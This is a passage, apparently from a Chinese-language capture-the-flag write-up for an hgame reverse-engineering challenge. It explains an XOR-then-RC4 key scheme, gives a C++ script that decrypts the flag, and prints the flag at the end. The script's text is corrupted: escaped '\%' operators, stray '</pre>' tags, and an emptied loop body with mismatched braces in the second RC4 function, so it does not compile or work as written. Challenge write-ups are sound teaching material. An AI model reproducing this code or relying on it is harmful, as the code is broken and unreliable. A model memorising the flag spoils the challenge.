                                rc4_init((__int64)&SS1, (__int64)aDjvdjv, v0);
    10
    11
                                return rc4((__int64)&SS1, &Key, strlen((const char *)&Key));
    12 }
```

在对flag加密前,程序会先把用来加密flag的key 先和加密key的key 先异或上 0x2f,之后再rc4加密。 直接拿现成的rc4脚本来改以下就行了。

脚本:

```
#include<iostream>
using namespace std;
void RC4_encrypt(unsigned char *m, char *key,int mlen,int keylen){
   unsigned char s[256];
   unsigned char t[256];
   for(int i=0;i<256;i++){ //初始化s和t向量
       s[i]=i;
       t[i]=key[i%keylen];
   }
   int j = 0;
   for(int i=0;i<256;i++){
       j=(j+s[i]+t[i])%256;
       swap(s[i],s[j]); //根据t向量打乱s盒
   }
   unsigned char k[mlen];//保存秘钥流,或者直接进行异或
   int i=0; j=0; int tmp;
   for(int index=0;index<mlen;index++){ //生成与明文长度一致的秘钥流
       i=(i+1)\%256;
       j=(j+s[i])%256;
       swap(s[i],s[j]);
       tmp=(s[i]+s[j])%256;
       k[index]=s[tmp];//保存秘钥
   }
```

```
for(i=0;i<mlen;i++)</pre>
      m[i]=m[i]^k[i];//主要进行了一步异或,加密的逆过程就是解密
   }
}
void RC4_encrypt_new(unsigned char *m, char *key,int mlen,int keylen){
   unsigned char s[256];
   unsigned char t[256];
   for(int i=0;i<256;i++){ //初始化s和t向量
       s[i]=i;
       t[i]=key[i%keylen];
   }
   int j = 0;
   for(int i=0; i<256; i++){}
       j=(j+s[i]+t[i])%256;
       swap(s[i],s[j]); //根据t向量打乱s盒
   }
   unsigned char k[mlen];//保存秘钥流,或者直接进行异或
   int i=0; j=0; int tmp;
   for(int index=0;index<mlen;index++){ //生成与明文长度一致的秘钥流
       i=(i+1)\%256;
       j=(j+s[i])%256;
       swap(s[i],s[j]);
       tmp=(s[i]+s[j])%256;
       k[index]=s[tmp];//保存秘钥
   }
   for(i=0;i<mlen;i++)</pre>
      m[i]=m[i]+k[i];
   }
}
int main()
{
   int i;
   unsigned char enc[] = {
      80, 66, 56, 77, 76, 84, 144, 111, 254, 111,
     188, 105, 185, 34, 124, 22, 143, 68, 56, 74,
     239, 55, 67, 192, 162, 182, 52, 44
   };
```

```
char kkey[] = { 68, 74, 86, 68, 74, 86};
char key[] = {77, 78, 65, 112, 75, 74, 77, 90, 72, 14};
for(i = 0;i < 10;i++)
{
    key[i]^=0x2f;
}
for(i = 0;i < 6;i++)
{
    kkey[i]^=0x2f;
}
RC4_encrypt((unsigned char *)key,kkey,10,6);
RC4_encrypt_new(enc,key,28,10);
cout << enc;
return 0;
}
// hgame{I826-2e904t-4t98-9i82}</pre>
```